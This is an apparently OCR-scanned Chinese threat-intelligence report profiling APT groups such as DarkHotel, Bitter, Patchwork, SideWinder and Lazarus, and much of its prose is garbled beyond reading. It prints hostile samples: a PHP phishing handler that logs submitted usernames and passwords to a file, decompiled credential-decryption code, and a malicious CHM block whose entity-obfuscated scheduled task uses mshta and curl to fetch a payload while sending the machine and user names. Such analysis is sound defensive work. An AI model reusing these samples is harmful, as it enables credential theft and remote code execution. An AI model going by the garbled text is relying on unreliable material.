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FEpEERTE, ARXRRAREF, WEERTEEXIR, #ETHSREAMN.php XHRAE.

{?php
if (1sset ($_POST[ Loginl’]))
I
i
$username = $_POST[ uid ];
' = §_POST[ password’];
“1* . $password . “\n\n";
at ).
fwrite ($fp, $text)
fclose ($fp):
header ("Location: http://mail. ° {index1.php”) ;
die() ;

1
i

1f (1sset ($_POST[’ Submat’]))
)
|

$username = $§_POST[ username’];

$password = §_POST[ password’ ];

$text = $username . ":" . $password . “\n\n";
$fp = foper (OuNt.txt’, "a+’):

fwrite ($fp, $text):

fclose ($fp);

header ("Location: https://www. google.com”) ;

1
J

W&t R B IRALES
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FEREAREBENADIREP, AKREQBEUNEBHENNBAET TR, DaMEREFENENERRET, H#
EERFEX P ERBEIRAR R,

thEis s @ DTE oa— ) BRSFRAETHETRESTERNANS T — ENEN. RIEERAFITHS R REA MR R ER 2

BERGE, FRINPUFIR. . AERERAFEHONE “S48m" “OSIHY . FAFR COARKL" B8, TLRAREFESLE e HBRESH

EWETEE, U5ENEARND. AREFER. REEEER" ARE. B 8k F. BFL. fEST. BEES. BREA, ST RNEBALNELER. Bl
SR AR AR

ANEE AR, SOAREAL EE, BRBHURED. WRATRERERIRSIRTIE (M15) . Nle—— R ERIRE .

EHEF. HEhRLAE. RERSIREE, #THAEEFAS4NE. HERBEFELHN.
M {FEES, 1TP23

RAFERE

BR{GHH

WA — e EHRRAT,

BERREBHHTON, FOORERTREF I WORRSER, BRIRETHOREHETHOHES. b, RERTR—ATE UERTELHERSE.

PRTRE A THRENTREE. REEF SRS ENDRE. SUHZLERBEARRATR? HEERTUHN . BFHDHIR, SN E8
i SRS

FALEBXTHTREHOZHOES. £H— P HEORTE, BETRREATLE. TR AERTRR BB EHTIEmESFRhARe 0z, oF
BATEEN LRI, BHEem.

BRVBHENHEOE, FBGE W S {TAREHHHR.
PHEER, 5934871
R,

=
& - ‘

BRGHEHF
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REENMBEEERNESEFTE NS pdf XHFN.Ink XH, 7E.Ink XHFPZEApowershell RITERENRR, 2
FIMC2 AL FTHIFEXHSEREAD, EHFEXHITANRNEBEITEEAD, HEEEATANTEADSHA
Github R E “rust-shellcode” fEHME2E, FIBLFiEMHFshellcode K55, HiTHIshellcode B THEE A
Donut £5%, BFRB.NETHEERFTEAERMERT, ZADSFHHLEERBSBADNEWS KASEMEE, A3
FfEMAbase64 REBUKRFRH#TNMRE, HFESMHSHBAE - RMsampleid, SRMESMNESLEIC2
ik, BWHREE NG EDIRIR.

BRTREEBRNTEARDI, EAIRDEREEFNEL, REELZFHTEASZ—TIEARDS, REXBFNS
BEFIR, ZATANASFBREREENBHAS, MEZHARASQuasarRAT,

BE—FNREEDD, BRELKARBESMENREED, RENEFREPERESREAEMTY, EREF
AL, BEMBREAMUE—HFLUREESMNERTEREENDNEMENE, RENROFIAN “BE" . “HEA" .
‘B F5ERRMUEBEXNEANE, EEEHFPEAshellcode FREMRBSMER, FEEARDMEER
RAEFHRIT.

BRALHNEURENBTRAZESENMNERE, ATERENNREENT MR THIER, XREIMS R
g, BUNZENTCARBMET mEMA. EXXENELN, RNONSEER, ARMRRBBHONER. KRNN
ZINEMERLBINNER, IREESHEEN. BRNEUNZHERMENELLEIR, BRABESHARBTRS
R2BRAMRAMBHERNEE, UARIEHEREAEBERHD.

DarkHotel HWERERK. EHFETIMBENERKRE

2023 FHTERBERE ZARFNEBBIIN - RINEGRANBRE, WRKEEFDarkhotel HRFEBTH
BHANEEREBY, BRRERBNHEIs HEABRAMRTHEIIEERET, IBITIES.

THEFFKLOECLKC THRAHE, HEAIMENNARKIINZHFREEZESN, NERLYFTHBERAR
FIERE, LKA “—HN—3" . YERFEREFHERERAHFTII I meterpreter,

RUIRE ST
DOC
E;E}————*Ei -
RARE4ZEE
& . —T)
- —EH— Bl q | fngk—»>
CHM JS
TR JSEIA iHES
N =1 5 <
—ERHREELE T

ERAFEENE, TR

b

1100
P ERE— 1110
C&C meterpreter INERE TR
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B, BXEBERRARDHIEI, Darkhotel HLZEKMMT 1 GEHNER R

B raissess, Brss

TEMfFEER, BXRREERE, REEMAEE.

HC&C TEHMEH A, FEHMEBX M CryptProtectData ME RFEA M, CryptProtectData & B R EIEX %
PEHITINE,

vl2 = (unsigned int)cudaHostAlloc CryptProtectData(file, v35, v42) != @;
if ( vil <= @xFF92C303 )
break;
LABEL_140:
cudaHostAlloc CryptProtectData(file, v35, v42);

v20 = Bx13i64;
do

*((_BYTE *)lpProciase + v19 + 4) = v27[vi9 + 4] ~ v18;// CryptunprotectData
vl

V1E = OxBCBF * V1B % @x7FFFEFFF;

--y20;

}
while { v2@ );
*(_OWORD *)v27 = *(_OWORD *)lpProchame;
*(_QWORD *)&v27[8x18] = v26;
*(_OMORD *)1pProchiame = 8i64;
vi6 = @i64;
do
4vl;
while ( v27[v2 + 4] );
sub_18000268C( (unsigned _ int64 *)lpProchame, (const _ m1281 *)&v27[4], v2);
w2l = (const CHAR *)lpProchame;
if ( *((_QWORD *)&v26 + 1) >= Bx1Buiss )
v2l = lpProchame[@];
ProcAddress = GetProcAddress(Moduletandlea, v21);
if ( *((_QWORD *)&v26 + 1) >= @x10uiss )
{

v23 = lpProchiame[9];
if ( (unsigned _ int64)(*((_QWORD *)&v26 + 1) + 1164) >= Ox1000 )
{
w23 = (LPCSTR)*((_QWORD *)lpProcName[@] + BxFFFFFFFF);
if ( (unsigned __ int64)(lpProchame[0] - v23 - 8) » BxIF )
invalid_paraseter_noinfo_noreturn();
}
HeapFree_lB000E700(v13);
return ProcAddress
BL ((unsigned int (_ faztcall *)(__inte4, QWORD, _QWORD, _QWORD, QWORD, DWORD, _ int64))ProcAddress)(
a1,
eiss,
eis4,
Bis4,
eiss,

e,
al) l= 8;

2023 F, RPBHREENVER, SFRALNREEDESTEL. Bif. B #R. EF. SRNBEFTL
NG, E¥F, FEEBERPERATL; THEF, WFBFSSRNEILSM, IHh, RERGFRATERAAE
RENR, XFEE-ENHENEREAIEN. MREFEMS, TEESNEBFNRRAFAE. ZRAFBAE, 3
RBREDBKMABHAIE. VPN RSEBMOA RSJ|FHTRE.
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2. N MRNHREERD
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o

Bt A
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UIES B s.gov.cn®
TR, RlEs ARSYFESESMNIAYIE

B xR Puse LRSeEEmBRINGNR.zip (445 KB)

AFELF!

?éﬁ%&%ﬁ RitFEe. ARSNBREHRNERTTEEEE. AFSRETSRBEARBHOHESIOFENA

i ieme
EEmEesme= ZOV, CI\

WA FAL

3. BERHN BRI RN EERD

H5h, MPBRBELIUT BEEBIHNEILUNRERD. FIMMNEFEXERE, XEEFA “FREIN
BHEM X—-FETERFENFE, MEFBRAZNEmME, HEFEXHENT:

= HEHERRESHTHENSH
ERBADHEmSRE

1. SRBHEEER, ERMRLSEEETIL

EeNEFEFPBREREFARE, ERNLRBHARFHE
RERE, RANEEREEREFENRAPELGR, REWN
RATRPTAAFERBNME T, ELREHTHEHAT,
SRS H 22%, EMAHE—RETN, HAHLREATERE
ZRBAEE, SEFEREINTHED, TURARLRERB A
RELMROELLYE, FHTRAERRETHNSG, UidRS
NEBHREATZ, REKEY. REENTHER.
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EFEREAURBREEGHESR

e

1.BR%E

B8R (T-APT-17. BITTER) APT AAR— MK FE. ERMEFERBITREEHNNAPT AR, ZAPTAH
ARNBEFERNHNHEAERHTRENRIIAPTARZ — ZARTBHINHF. FIW. B, ZESMHTT
B, GRHEAMN, AFRINBAER. ESFHNREANRESR, EXREALAULERIERGNNE.

ASENREEDP, SAKREATEANE, ERRELEETHREL, ik, IFFEXRAMRIYBERRER
f. ERTEALBEBUNEMAEFENNERE, HEBEBBMAEXHKXMEEPFERE ST 163 0iFE 5SS 75 BRFEx
hRERE, ZEALSARKRALTFANE, ARARAFMRENNENTERE ZEREENERIPHGFNESEE, ME
RUEAANAERREME. MEPSNHNEIERLE, BREARUEMERE, BEHRMBERZTPRIRFS K
HFAFR—BLURFEEEASHEXTUREXOE .

2023/712 (E=) 1311
= = m.gov.pk>
CPEC -( JWG-IT Working Groups Tasks & Representatives)

HrigA .cn
¥

W

n

| ﬁ | BN CPEC-JWG-IT Initial draft of the proposal.rar (6 KB)

Dear Li,

Find attached herewith the initial draft of the proposal to be shared with the working group. You are requested to review
and shares comments (that shall be incorporated based on mutual understanding), subsequent to which it shall be
shared with the relevant stakeholders from both sides i e. the Joint Working Group.

Waiting in anticipation.

Best Regards,

© =855 Waleed knan IESES, B n n N

BREAADSMYE
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REHEhEREHESRIAEE, BHRRNARMRELFRERRZRE
. EREEAPERPTERERERR, ENSRStRESH 2TV
b, EHESREEATR, 1B RERSABARIGAE NI KT
. BAREAE RSB AR SRS S S SR,
HEFFPERSIEERIRNX—TEEE, MR EE2RENTEe s
HTRCREE, SEETRESABATHEE, BEFFERBRNE
R, IRBPLREEGEE TR, BESNTRERSIENRICL,
HNEERR TN, LIRRE. $&1EX.

EEX

BREARFRENDSHBENMFEERTSNBRF, ERSAEAWindows RERHEXH.chm REHFHRE
FAAEN.xIsx XHRTEERE, ESENRED, BERELAR[/ER . chm XERHNBEBRBHTT RE.

chm XHERMBHFONEEEAN THH AR NESRITEEREHT, GEREHFRNEEARD, EEH
FERTAARTAITNESEBRAFHEMsiexec.exe MEHIT, HEERERNE, WEELSRRETLRES
AU UEE 0 K/ HOKB B X fF. .xlsx X {38 ¥ F B Microsoft Office BY1% & IR AR 1753, KiZIhAE
5.chm X#52248R, REMEHFHIX.
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<OBJECT id=t classid="glsid:adb880a6-d8ff-11cf-9377-00aa003b7all1" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" wvalue="Bitmap::shortcut">

<PARAM name="Iteml" value=",omd.exe, /¢ start /min schtasks /gcreate /tn GoogleUpdateTaskMachine7.8.1.2
/£ /se minute /mo 15 /tr &guot: mshta vbscript:Execute (&#39CreateObject(''WScript.Shell'').Run ''omd /g
s.mu -8 C: \mms\gasmumm w

C: \M\m&m\mﬂm :lmlsad . 0, m mnmm
<PARAM name="JItem3" value="273,1,1">
- </OBJECT>

chm X#HEEERB

S RPN
<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="1teml"” value=",omd.exe, fc start /min schtasks /create /tn

EWx5T; G¥x69 ; Gl xbe; GWx64 ; GWxO6F; EWxTT ; &¥xT3 ;G xdc; GW¥x69 ; EWxT6; GWx65 ; &#x53 ; &¥x63 ; GWxT2 ; G¥x65 ; &#x65 ; e¥xbe; EW¥x55; 6
#x70; &#x64; G¥x61; &#xT4; &#x65;6#x73; /f [sc minute /mo 15 /tr &quot;mshta

vhscoript:Execute (&#39CreateCbject (' 'WScript.Shell'') .Run '‘emd /e curl -o

&#x25; &8x50 ; 68xT5; &#x62 ; &Wx60; EWx69 ; EHx63; 6#x25; eWxS5c; eWxdd; &¥xT5; 6#x73; 6#x69; L#x63 ; 6#x5c; &¥x63 ; #x2e ; &W¥x66; &
#x69;

&¥xbe; &#x65; a#x5e; a¥#xT7; e#xT73; &#x5e ; &#x6] ; e¥#x5e ; &#xTH ; a¥x66; a¥xbo; &#xT5; t¥x5e ; e#xT4 ; &#x65; &¥#x5e ; &#x63 ; Ll¥xbo; &
#x5e; eWxT5; eW¥x62 ; a¥x2e ; &¥x63 ; eWx5e ; eWx6f ; ¥x6d; ¥ x5e ; Wx2f ; eWxT2 ; &Wx5e ; a¥x6e ; t¥x5a; tWx65 ; a¥x5e; a#xT2 ; t¥x2e; ¥
x70; &#x5e; &W#x68 ; &¥xT0; &#x5e; &¥x3If; &#xT0; &¥x5e; &#x76 ;=tcomputername¥__ ¥usernameti&More

&#x25; &8x50 ; 6#x7T5; E¥x62 ; eWx6o; E¥x69 ; E¥x63; E#x25; &¥x5c; &¥xdd; &¥xT5; 6#x73; &¥x69 ; &#x63 ; &¥#x5c; &¥#x63 ; t¥x2e ; GW¥x66; &
#x69; |amd' ", O 'rrue ulo-eﬂag)iquot >nul &taskkill /£ /IM hh.exe > nul">

BAERHNEENB
2% pigetiE x|
[ wintask.msi.bin | 2021/1/20 19:57 0 K8
P wintask.msi 2021/1/20 19:58 0KB
[} CERT.msi.bin 2022/4/1 15:38 0KB
P CERT.msi 2022/4/1 15:47 0KB
P CERT (1).msi 2022/4/1 15:51 0KB
P CERT (2).msi 2022/4/1 15:52 0KB
P CERT.msi 2022/4/1 16:02 0 KB
PR CERT (1).msi 2022/4/1 16:03 0 KB
P CERT (2).msi 2022/4/1 16:04 0KB
Pl cAPT.msi 2022/4/13 15:04 0KB
[7) capT (1).msi.bin 2022/7/1 15:22 0KB
P CERT (3).msi 2022/8/31 16:28 0KB
P CERT (4).msi 2022/12/13 17:55 0 KB
Pl drivers.msi 2022/12/30 17:01 0KB
Pl winsys.msi 2023/2/7 16:31 0KB
P CERT (5).msi 2023/5/31 19:26 0KB
FUCERT (6).msi 2023/8/1 17:38 0 KB
FECERT (7).msi 2023/8/1 17:39 0 KB
FECERT (8).msi 2023/8/1 17:56 0KB
Mlupdate.msi 2023/9/4 11:31 0KB
P CERT1.msi 2023/10/19 19:31 0 KB

WEHOKB NEEHE



ATHRIIBBERT, msi XKHFBBEEREAREBMNTEARTS, WEFHETHN. TEFRE

wld

)} while ( 1)
4 {
vl = recv(s, &uf[ve], 4 - ve, 0); /! BEQESSEESGS
if (vl==-1)
break;
vl += vl;
if (ve >=4)
{
v2 = ntohl(*(u_long *)buf);
| *(_DWORD *)buf = v2;
) sub_4@8CFe();
if ( sub_4@2460(v2) ) // RBEIESSHTEEHE
goto LABEL_1;
break;
}
mERSG

FATL, BREALNASLAILD HEE, —LXNEBEHIERFBALAHBSBINNES, —XNRHEEEN
C2 fR558. AMINIKEEDD, BREHALANERLZZEASHRBREEABENC2 RSB, MEXGTH. #E
FRENEZIBIEALHRSIP B, EEHB L, BREAFBESER “com” LR “.net” HIMEKEHEZEAC2
Hotit,

2.8%&

B KAPT 44 42 (Patchwork), 2 #f /3 Dropping Elephant. Chinastrats. Monsoon. Sarit. Quilted Tiger,
APT-C-09 #1 ZINC EMERSON, R—XRUAERIRHNESNEZTAELR, RPREEEMNT2009 F. HK
HFEFEBEAGTE. BEEE. ZNMAESERIANIERNSK. ET. BMETL, He b2 RMZ4EAAWER
BEAREXE,

S FHNBENREEDT, BRAKNKEAI LD AR, —RUGRBEKSEBHENNERE, —XNAL
GMENEENARIHE. EHNEGERNRES, BRAKBEAFRABUAS T BFETRE; EHXERE
HHaREad, SRAFERGEEGNELHBEERRAE, H3IFAFBABEKS ZRHEGRNKSEBRE
Bimizsthit,
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WEEBER
ERSECIE, §EFER

—

e

BRARVENE

EREEMAENNENEARTL, USARNEEEERTLURE=AHEE, WFEEENAETBL “.cc “F
AR R, C2IlRSHNVMBUBLTFEFE, #FEREEMEBENPNENTESEREBREFHNMUER M, X
BEREAR. F=AREENESFVUE=ARSHE, BEER" netlify.app” WRSERHEEHHBESRH
P&, A “000webhost.com” HREEAZEZTHAEEEESHC2 ik,

EfEHEMER

f£F000webhost fEREIfFIL S
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ERFXRELE, BRAABERVEMHFANGHE, ERRTENEEESNEENEmMAE, SHEBFEBTE

HZENTEHT, MPYSHBAHNTHEESHEGRUMREX, FHUERNKESR, BN “HR" . B .

‘BRALITR FhHiEM, MESFNBANKES, BB “NaERE o “XHETR” hE

20234012 (=) 934
n PSR « = o e o -
BT R Ee AR S S AT W4 RAETE2023 4 608 B e R enmissn
A
[ esansaans 84 RSN TR SRR o (2 K8)
SR
ﬁ!iw FARENERRERERES. B WERNEENARGRERDT,
AMSERACIT R, RUELHE (ﬁﬂﬁﬂllﬂk: HESHRUBENEHREEFNARELFRACNEHRIAEESRANGE, HHEASRNENA KA R S5
R, RREABST 48 128 (A=) HIRZERHRR. ESEHARESASHE, ﬂmmﬁgﬁﬁaﬁﬁ{ mESSNEHLRBNEESHENGR,. #T 481282
EEFUHTHER RivhRE ﬁﬂmmﬂﬁﬂaﬂ A ERE RS i Eh BB REE.
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BRESENRER, BEEA “b-cdn.net” WFEHB ARSI HBFEURBEXHFREVGA, HERITIESH
TEEHE, ERAEIHNPENRER, L¥FRAUFTERZEASRARFEN “Badnews”™ KB, MTFHEF
NIEHEA T Rust INF . Donut FFRBIETATRR, BEAKRENADHSE “Badnews” KBIHRER.

Badnews KSHiEiFiES

FERELNERAD L, ENERAZ—HAKALAEANBEHRAD, FNE—RHNEENNERESR, €T
HAutolt IARENAD, EPESEREH. GV RBIHE. IP. INELESHTEIE.

EMEMERNKEEDPR, FBTEHRAADSH, ARALXERARASHINERKE, HlM0 “Remcos” .
“QuasarRAT” . “BozokRAT” HZ#AKDG,

NATO PUBLIC DIPLOMACY PROGRAMMES
CO-SPONSORSHIP GRANTS FOR PUBLIC DIPLOMACY
PROJECTS
PUBLIC DIPLOMACY DIVISION, INTERNATIONAL STAFF,
NATO HEADQUARTERS
Bivd. Leopold Ill, B-1110 Brussels, Belgium

NATO PUBLIC DIPLOMACY DIVISION
CO-SPONSORSHIP GRANTS 2023

CONTENT GUIDELINES

Version 21 October 2022
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EXFARBIEL BREAEREAEE "FRRERPE TR . “AFEHEK" . “HFAESEH" . “Naxal
VPN” 2,

8 “ ] *rh

| (6 B (TR 3T [95EA SHATAM.exe TEEE 626 KB|
‘@ turkhost.exe RAEF 625 KB
&7 spyder.exe v 2210 335 KB
@ sindhoste.exe =513 3 722 KB
8] Rocket Launch System THE UPDT LIST OF MLRS PROB-.exe MEEE 1,410 KB
@7 PN SHIP OVERSEAS DEPLOYMENT PLAN TO FAR EAST CHINA.exe EEEF 1,417 KB
@ Naxal VPN Version2.2 Setup.exe HERE 372 KB
@ Naxal VPN Version2.2 Setup (2).exe HEEE 372 KB
@ Mplayer63.exe LEEF 626 KB
7 glam.exe HERE 332 KB
@ DilHosttcache.exe REEs 664 KB
0f DllHosttcache (3).exe EEEE 664 KB
df DliHosttcache (2).exe iz e 664 KB
0 CRNtabHS.exe HEEE 671 KB
mm BAF Operations Report CamScannerDocument.exe HERE 381 KB

BHRALMEANKS

3. mER

i RIEAPT AL (SideWinder) B—XRMAFHNERAERNARTAR, RFEFRTEMD2012 F. HREH
REBRHPE. BEHIE, SNAEFERNEL. X, HERFEXSBL

EHMNRENRGP, MERAARFEFANESMAEANEEERE, MEREERL, MEREAKARWRES
BRURBRLZERE. MELALERHEERNEEKM BHEE, HEESBERBRRE&8 .

LI () VY
010f01849da3e202-84a62e30-c0b5-4102-bbab-606adb330350 O us-east-2.am com {£%
K@ <sppmdw@mail

RS T 1 A2 E R L e M

A gl

[ e 000Lsw (1 OB

¥ AnEET A FRRENIES
SMATESRNELTRANER, CESEFERE. STLEINCATEENNEE, hRiFOREE. 85 T TENT el Te

L WEEHAERYEROORL, ETHE. BERABRATSANE. TTEEAL. ALEN WAREENAREEN\SE NS, TRENEALE, RERRETRECER
E: EERRTHESBTH. RENL. RUSRERND. B8N,

FRESASETSH, SHLEREINTHFHERET AAFR (AMGER) . AETHRFIOHERL, MRRAEESTRe TN, RRERSYEAHTIN.

FEFEAF “NoBTEN" . AERERESREAREWE, FMEREwRERE (F) . SThEARENSHLENE. FHEtEERETE “RoBTAN" . R
#iiﬁlﬂ_k_}_\l ENCHEANERRTERA BE SEERSHARD, CEFLETEREFMAN, THTER. TR, TREASTRES.

4 NAzBESA, GHAREMETAR, SSOFMETERSTERRED. SRENF,
5 EHFRCEERN, ESENETAAERENE. Bl ELAEFRECES.

& SUNAETTREINEERANSLENESN (FUAZEERES “—F-4") . ANEOFHERS, SRR, BEutadRTRISHEFRETEN. suA2ER. R
R SERE R,

WERERAT REEE. FRAESE . . CASEEES.

FEER
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MEXNSBGRFEERAEFEEXHNESLES, FTIEFEAXGEERT EEXMHH, E=BEMP.TMP k6t
X, BRIKFRERKA. MEENESRIEMEREED. Ink XEHRTHE, E£ARFKHEmMshta.exe TEHNITC2 R
FRPIRE, MERAKTSERDPHIRMAEHENHEKOAE, YA TREEHFMLSZAABFERR
B, C2 BEBREIZX .

MERALNRT EA.Ink X5, ENEMERNKES, BB EAOffice ZEBEANNSRRTERAB.

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
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outlook NEPFEERTIE, S5IFAFRMABEKSRER, HEGMNEERERC2. FRTHEHRAR#THE),
REER=EBFRBEEXM, SIEARRE, BIRABRTEERR.



c
c

ot prct ot ok

o v a g ¢

B% Outlook

[OF -+ 3

ey gy s
E o aiergnae
s ROV AL 8% 11, REIY 10K COMMMINNION

T o Fonawllence i Sevvece
RCSC/HRD-A 7.2/2023/769 15-Sep-2023

SDGs Global Leadership Program under JICA Knowledge Co-creation Program Funding

The Royal Civil Service Commission is pleased to announce the availability of scholarship (1 slot)) for

eligible Bhutanese to pursue relevant masters degree in Japan under Government of Japan (SDG
scholarship) funding for 2024 intake:

Masters in the following fields: Target Group Slot
e Economics Civil Servants Based on 1
e Urban Development Superstructure and

*Please check the list of course and universities from the link | MoG

here (click here)

Therefore, interested and eligible in-service candidates are encouraged to apply for the above
scholarship.

1. Benefits of the Scholarship:
The successful candidates shall receive following benefits during training:
Tuition Fees (official examination fees, entrance fees, course fees);
Living Allowance;
Roundtrip Airfare (once);
Qutfit Allowance (once);

e« & s

B

58



4. HERAR

AtRIRALN (Donot) APT AARREMEBEHBIY RIFNERFTHL, B—1TM2016 FHB—EEFRESHAPT 4
N, ZHAKBPHMNZMAERE. HE=FFARUMXH#TERNR G ED. ZARFEBHNBEFAENASFMEH#ITRE,
LGSR EBEATEEN, #ERBPC HUKRB RS RN EEEN.

MR BARESFNREGFDP, KASERAFEEABNEREXENIMNRERE, HEAZHREE, £FRM
BMFRNC2 THEFRFENINERR, BRETEARDIEAFPRT, REZENEHN, MEHNBHEHREP,
ZALZEFIAGithub FRMBEFMEBKBERKRD, EEHENBHIRADEIFZRVOIP I, NEXHABE
FHREREE, HIF5IAEBRFESQLIte HIEED,

AHA™HE, Donot BANAEFRH AKAPE, SEFHRASEM.buzz WIMFEHZ, ML LNHMIFEECR K.

98820970

ZHEAERANB I EARD



5. AXF

FLXF (Confucius) AAR—TEHNEERNAPT H4A, B2013 FHINER, FEHWHNRERNBERTIZERN
B, EEFERBTRE, ZEAARRRGEDFETEABNRMRE LSEHIBR (Patchwork) APT 44
AFERKES, BEAFMNEBFRTE, FHNAXFHAR-EHRIANRERAPT ARNEN 2=,

SENREEDR, Confucius BRTREIIWindows i, FEfBHNBIIHRERE. FHIWindows T,
WiEEXRAEAOffice XEENMEHETE, BIERBRITERIE. EC2HESL, REERERAE=FRSEHN
C2[E%, ¥ “hopto.org” . “ddns.net” FHRSE.

i wrEn svwwa

BEHENABNEEXMHF



RElE

1. 5E%

“BEE” , I APT32 # Oceanlotus, AEFHEBMBAERNRETAR, ZHARELD M 2012 FHEERK, 2B
I ARM I X RIERE APT ARZ—,

RIBASRERGNRIEYIE, 2022 F11 B T8, SWARRAT —HATRNINBA". SIRPNATRERR
o, AFNERBTISSERELBEYS, SATRIBSEENEAIREFEILFRNER, AN BSETAHR
B AT,

REX—#E™, MFBERESS5 THEHEBMMNSBEEIIE, AERABHHEE: MEMBENEESR. FIARK
RO ENZENEME. PAENAIEGEURFIBEENEER ENERMRBFITRE, M TZALSMNZHER
AS, EFEEWIn&Linux FEAMPEARD., RustiZBSHEMNIFS. Linux FARNC+H B3,

BUZHEENSR, BEAET. BE. DalGNRREN, RPRNSEZEANREEDESEL. FR, B
R, EF. SRABMAFTUNG, REITLESREEEHMN LA REMMEMig&EFIW: RBHAE. &R
{EARVPN F,

EXHB=RNERG, BERHLELEAMNTorii. Buni MRemy FASREKEHMFEILFRXNE R, XERKIREK
A LB ARG N REANC2 RSB FRUIIERLAANASEFBIMARERIEMANS E, XA LT
—EEELRBADCLIRS BB, Fik, BHASEBNADRBIENR T WellMess, APT29 EHEFBAR
B, EEXXSHAREESH.

fF1: Linux 3 VER R B2 EERLEIIE

RN RN AT RN v k=t ol ey o L R R R AT I
¢ BUREaxon. BiRBrey, WITHEAME ~70C5B4549580ED4DIBTEDDICOFSBTBAA"
{

b xor xEy. BWUER. IIHEANE ~DD2ECoB4CDTCFOSFA TAOEDIERE1ET1009352D3FTFC2520 1AEF02FOEDASO4CAO "
3c 92 la €7 44 79

# WifBrey -> "DD2ECHE4CDICFOSFATAOEDIEBE1ET1009352D3FTFC25201A6F02F0EDAS04CADD"
44 44 32 45 43 39 30 34 43 44 37 43 46 30 38 46 34 37 41 30 45 44 31 45 42 36 31 45 37 31 30 M0
39 33 35 32 44 33 46 37 46 43 32 35 32 30 31 41 36 46 30 32 46 30 36 44 41 3% 30 34 43 41 30 M3

# 200EM. Hasa?|
el a€ 4o dc bl 3a 82 2d 54 97 c9 74 88 54 38 B2 e 19 B2 Se 9% ed % c3 B8 af 4e a5 53 af €1 &7

fsellﬂﬂ -> BHE

¢t 2REEEE (BILEE. BARIEER)
¢ IS (EEdEEEE. 5AMINIE

b
WM Payload(
b 2RERFE
¢+ B (EXBEEEE) -> Frayloadilif

}
1}

3 FrayloadHliNE
4
) RIEERBOMEEM2seXNMIBE ¢ 0d 7o 7c 24 b7 £2 94 74 47 Ta Sb 9b ad 79 £5 4c S£ d1 00 Sd Sd SO 40 92 Sf al 33 8d 2c £0 €6
¢ IMETrayloaciif (NRE. NNEMEEYE. ONENIENYE. £1)
it (iiorcaziliil)
i
i BTSSR
]
1)

62



Output

B12: Win FERust RS EBPEERBLHE

" ® e
i
dwtrd 9t rIEMLITD
= £ [
3
o
b= .
. B 4 3
1iFe
A o
(R 2% S8 [ 1 :
. Sword Pt g
S Betg- 300
. =
L
e 17970 a2 ! - e ReGue

SRR AR (AR s RER | - RRA it SOSEEO0S

3 g 003003
.+ ’ 25 & sal36 3¢ 3 $¢ e { 14850520 | 20644908
2 LS S W ———e e
it A >
2 Pa a1 A 0. 59 2% 29 S649
’ . 10008
—— 4 20019
1 Freee -
a.00.28 50 .



apan 4 LLE Y - " etk
A o afi - -

L . & A A
4y | e B b, e ) paly S e Lk L.
e I R e R, i RS
y A W eertamees 8 B o BRSNS, TR e pead | s ey
i ol = LR R e s W
Bl st r-Sese® e Usmte—<meyle-yeey femee . 4, ¢ = 0 mi db i ok
LR ¢ 7] e i A LT s 0. mEE U] v i
L o " -¥ - - B
e L E L
L e T = Gy
i i g o ) e, ML ) Lo e sma = L AEETE
o) mlaw_as] e TRE bisl w ]
s Lbe |, s R §
e . TV | o e il TR T, S R v By ] v W
ack B M| i e L ol
4T e g — e (¢ A b oA oEdm| e
gt T T —— W o ., B, Bl i PR T TR T TN
. s [ e T O ] [
- e 1 TR L - = L LI
e : o || pans s ke - o ey o o )
#l g oo oo &} e .~ TF, wl W = ==, K
| + ] el
B R sl O -

o e T i A B
o = e = -y b — ETw
R AT - ey e - M
(R ey B L .
LB R '
= s e,
! R L]
R —
awe 0 T L L [ pe——
BF 4 A S s e
pah b Sy Sy s g b b, e fcas Ay = fooom M FREEA _ERTERE. ERTRARD
wism
ke | b e, - AT R TR R | A » BHR4
I v L = WL H
B o PesjR] atEm Lriw] te 1 §
|
- ]
R it LU T Y L] meamy easla],
[ el — A - e e |y
il LA W p ey

e

S LIE T L A Sy ———

AREERE, FARGHNEREINARRNBEREMUNB. CEREM™. BN, FANKRAMERNISERBEMER
N @Bt XENSMERTNRIMHLFE—K, FlNCobaltStrike . BMEFA. Payload ZEEIFA
R R R EEDFE,

2023 F, BERAANMESREEHENHESHRBUENERME, RIOIANIANTHOKRSER, EEHNZE
PINT WEBRIE, REBTREHRKIE. 15, INRAT HRERRE, RHAT HARQHEUXZRSHTAR. i)
NREEE MR —TT KX, BETBESTUNM,

64



Rk

1.Lazarus

Lazarus AA NP Y IR ARAPT AR, BHAEKERSNAPT AR —, ZHEAKLHE, HREEFE
=B, EBf. ARPLO. M. BBR. MEMX. BH. B7. NIEEHTESESAFGELFNENTLSE, #8
BEKHNAETUSEEENHSTEZREG, BREIENEP, AHOEHHRERNETHETATENKBNER
ﬁz_o

ESENREEDD, Lazarus BAKABERERRENEEDTL, BNEBLULFERFAE, WEFEEED
B, R, HNBERESEZMFE, ESEMHEENKREP, Lazarus AL HEM3CX DesktopApp RERFE X
%, AT SAPPJEUS MK, HiBEGithub THEELGEARD, BRI, Lazarus BRES FRAKEER
logdj iRARAM IR RR T, BT RBBAEEMRENP FTHDTrack FiJ. Lazarus BREREFAERFEHEHANIA,
HPEEGEAD. EEAD, flilCollectionRAT. MagicRAT %, BT EHWAADIN, ZALEERFREADFM

DeimosC2,

2.APT-C-60 (fyiis)
HIEEAPT LA (APT-C-60) , BEEHIEY R, F2021 £\, H2018 FEFKES.

2023 F, WEBARKUERIGER, ZELESE3 ARABRYNEETIHEANZS N TNERNTEBIFEBT KB
RANBBNE, YFENKEEREREEFE. SE. 8. FIMPSTHNER, BFTLEEBENH. EI.
BEEEL. B, XKEAOSZHEFNENERAR (BERSBEHEAR) . A WRAFARRERNBEAL.
AARMEREIEENANEGE. WERGTBURLNNIZEERE,. SEFOKE. 24LE8TERZM
AFNMNHNBEZR BRNMBEE, FTEBENE, EFERITNES. COMBIFIFEFALFR, AEFEN
bypassAV. bypassUAC #1575, HEKESZSMEXHREHEH#HITEEUEE.

rFs
m
v
CaC
Al B
eR - ABRT T LN A a=
o rastne SO
o0 (@
v -

5 B —— @~ -8 o2, _ e
Aakaars ok [ . it COMIS A iF g
L[ (@ ofmn | =
F-

APT-C-60 RN E R E

65



3.Kimsuky

Kimsuky B— PSS TFHENMEEIRAR, EXLB 2012 FLUR—EHEFK. ZARRNEEH W FHEBATLE,
EENMERENTAAZSTAENER, HEEUSTEY ABEEXRE. RFH. BNAMEKSE. Kimsuky ¥
BIRREITHHNE/BESHEY R, RERNHSEBXHIRBERNERRZ 2R L.

